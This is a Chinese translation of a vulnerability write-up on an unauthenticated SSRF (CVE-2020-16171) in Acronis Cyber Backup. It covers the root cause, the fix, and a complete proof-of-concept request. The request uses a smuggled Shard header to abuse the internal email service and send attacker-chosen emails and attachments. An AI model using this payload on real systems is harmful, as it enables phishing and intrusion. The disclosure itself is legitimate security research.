深入分析一个有趣的SSRF漏洞

  • A+

关于SSRF漏洞的文章,读者也许已经读过很多了,例如,有的SSRF漏洞甚至能够升级为RCE漏洞——尽管这是大部分攻击者的终极目标,但本文介绍的重点,却是SSRF经常被忽略的影响:对于应用程序逻辑的影响。

在这篇文章中,我们将为您讲述一个无需身份验证的SSRF漏洞的故事,该SSRF漏洞位于Acronis Cyber Backup v12.5 Build 16341以下版本中:攻击者可以通过滥用绑定到本地主机的Web服务向任何收件人发送完全自定义电子邮件。这个漏洞的有趣之处在于,可以将电子邮件作为备份指示符发送,其中可附带完全自定义的附件。大家可以想象一下,如果向整个组织分发Acronis的“Backup Failed”电子邮件,并附带一个后门,后果会如何?

根本原因分析

从本质上说,Acronis Cyber Backup就是一种备份解决方案,使得管理员可以自动备份相互连接的系统,例如客户端,甚至服务器等。该解决方案本身由几十个内部连接的(网络)服务和功能组成,因此,它本质上就是一堆C/C++、Go和Python应用程序和程序库。

该应用程序的主要Web服务运行于9877端口上,并提供了一个登录屏幕:

1.png

现在,攻击者的目标就是找到一些无需身份认证的东西。因此,我开始研究主要Web服务的源代码。实际上,我花了很长时间才在名为make_request_to_ams的方法中找到了一些想要的东西:

```# WebServer/wcs/web/temp_ams_proxy.py:

def make_request_to_ams(resource, method, data=None):
port = config.CONFIG.get('default_ams_port', '9892')
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
[...]

```

这里,最让我们感兴趣的是函数get_ams_address(request.headers),它用来构造一个Uri。应用程序将在该方法内读取一个名为Shard的特定请求头部:

```def get_ams_address(headers):
if 'Shard' in headers:
logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard'))
return headers.get('Shard') # Mobile agent >= ABC5.0

```

进一步考察make_request_to_ams函数后,事情就变得非常清楚了。应用程序会在urllib.request.urlopen调用中使用Shard头部中的值:

```def make_request_to_ams(resource, method, data=None):
[...]
logging.debug('Making request to AMS %s %s', method, uri)
headers = dict(request.headers)
del headers['Content-Length']
if not data is None:
headers['Content-Type'] = 'application/json'
req = urllib.request.Request(uri,
headers=headers,
method=method,
data=data)
resp = None
try:
resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT)
except Exception as e:
logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e))
return resp

```

因此,这是一个非常简单的SSRF漏洞,其中由于下面两点,使得该SSRF漏洞的威力更加强大:

  • urllib.request.Request类的实例使用了所有原始请求头部,不仅包括请求中的HTTP方法,甚至包括请求正文。
  • 响应会完全返回!

在这里,唯一需要绕过的就是目标Uri的硬编码构造,因为API会在请求的Uri上附加一个分号、一个端口和一个资源:

```
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)

```

但是,这也是很容易绕过的,因为你只需要附加一个?,就能把这些转化为参数。因此,用于Shard头部的最终payload如下所示:

```
Shard: localhost?

```

寻找无需身份验证的RoutesPermalink

要利用这个SSRF漏洞,攻击者需要找到一条无需身份验证即可到达的路由。虽然CyberBackup的大多数路由只有通过了身份验证才能到达,但名为/api/ams/agents的路由却有点不同:

```# WebServer/wcs/web/temp_ams_proxy.py:
_AMS_ADD_DEVICES_ROUTES = [
(['POST'], '/api/ams/agents'),
] + AMS_PUBLIC_ROUTES

```

对于该路由的所有请求都会传递给route_add_devices_request_to_ams方法:

```def setup_ams_routes(app):
[...]
for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES:
app.add_url_rule(uri,
methods=methods,
view_func=_route_add_devices_request_to_ams)
[...]

```

在将请求传递给易受攻击的allow_add_devices方法之前,它只是检查一下是否启用了allow_add_devices配置(而这是标准配置):

```def _route_add_devices_request_to_ams(dummy_args, *dummy_kwargs):
if not config.CONFIG.get('allow_add_devices', True):
raise exceptions.operation_forbidden_error('Add devices')

return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)

```

所以,我们在此找到了无需认证的攻击路由。

发送包含AttachmentPermalink的完全定制化邮件

除了鼓捣元数据之类的事情外,我还想对Cyber Backup的内部Web服务发动SSRF攻击。实际上,存在许多这样的服务,而且大部分Web服务的授权概念仅仅依赖于可从本地主机调用——是不是嗅到了“弱鸡”的味道?

实际上,有一个内部web服务会监听本地主机的30572端口,即通知服务。并且,这个服务提供了多种发送通知的功能,其中提供的端点之一为/external_email/:

```@route(r'^/external_email/?')
class ExternalEmailHandler(RESTHandler):
@schematic_request(input=ExternalEmailValidator(), deserialize=True)
async def post(self):
try:
error = await send_external_email(
self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'],
self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []),
self.json.get('additionalRecipients', [])
)
if error:
raise HTTPError(http.BAD_REQUEST, reason=error.replace('n', ''))
except RuntimeError as e:
raise HTTPError(http.BAD_REQUEST, reason=str(e))

```

由于篇幅有限,本文不会详细介绍send_external_email方法,但简单来说,该端点的作用就是通过HTTP POST提供的参数来构造随后发送的电子邮件。

最终的利用漏洞代码如下所示:

```POST /api/ams/agents HTTP/1.1
Host: 10.211.55.10:9877
Shard: localhost:30572/external_email?
Connection: close
Content-Length: 719
Content-Type: application/json;charset=UTF-8

{"tenantId":"00000000-0000-0000-0000-000000000000",
"template":"true_image_backup",
"parameters":{
"what_to_backup":"what_to_backup",
"duration":2,
"timezone":1,
"start_time":1,
"finish_time":1,
"backup_size":1,
"quota_servers":1,
"usage_vms":1,
"quota_vms":1,"subject_status":"subject_status",
"machine_name":"machine_name",
"plan_name":"plan_name",
"subject_hierarchy_name":"subject_hierarchy_name",
"subject_login":"subject_login",
"ams_machine_name":"ams_machine_name",
"machine_name":"machine_name",
"status":"status","support_url":"support_url"
},
"images":{"test":"./critical-alert.png"},
"attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="},
"mainRecipients":["[email protected]"]}

```

这涉及到电子邮件的各种“自定义”,其中包括base64编码的附件值。发送该POST请求后将返回NULL:

1.png

但最终会将电子邮件发送给指定的主要收件人(包括一些附件):

2.png

看上去,这简直就是堪称完美的诱饵邮件,对吧?!

漏洞的修复

据我们所知,Acronis是通过修改get_ams_address获取实际Shard地址的方式,来修复Acronis Cyber Backup的v12.5 Build 16342版本中的漏洞的。现在,它要求额外提供一个带有JWT的授权头部,并将其传递给一个名为resolve_shard_address的方法:

```# WebServer/wcs/web/temp_ams_proxy.py:
def get_ams_address(headers):
if config.is_msp_environment():
auth = headers.get('Authorization')
_bearer_prefix = 'bearer '
_bearer_prefix_len = len(_bearer_prefix)
jwt = auth[_bearer_prefix_len:]
tenant_id = headers.get('X-Apigw-Tenant-Id')
logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt))
if tenant_id and jwt:
return wcs.web.session.resolve_shard_address(jwt, tenant_id)

```

当然,这里并没有显式验证tenant_id和jwt这两个值,而是直接将其用于对API端点/api/account_server/tants/的新的硬编码调用中,并通过该调用最终进行验证授权:

```# WebServer/wcs/web/session.py:
def resolve_shard_address(jwt, tenant_id):
backup_account_server = config.CONFIG['default_backup_account_server']
url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id)

headers = {
    'Authorization': 'Bearer {}'.format(jwt)
}

from wcs.web.proxy import make_request
result = make_request(url,
                      logging.getLogger(),
                      method='GET',
                      headers=headers).json()
kind = result['kind']
if kind not in ['unit', 'customer']:
    raise exceptions.unsupported_tenant_kind(kind)
return result['ams_shard']

```

至此,这个漏洞就被修复了。

原文地址:https://www.rcesecurity.com/2020/09/CVE-2020-16171-Exploiting-Acronis-Cyber-Backup-for-Fun-and-Emails/

相关推荐: 原创干货 | 【恶意代码分析技巧】05-exe_Delphi

1.Delphi的介绍 Delphi曾经是一种很流行的语言,但由于Borland公司(Delphi语言的母公司)连续决策失误,使得delphi衰落。如今还在使用Delphi的程序员凤毛麟角,奇怪的是,使用Delphi编写的恶意程序却层出不穷。大概是因为Delp…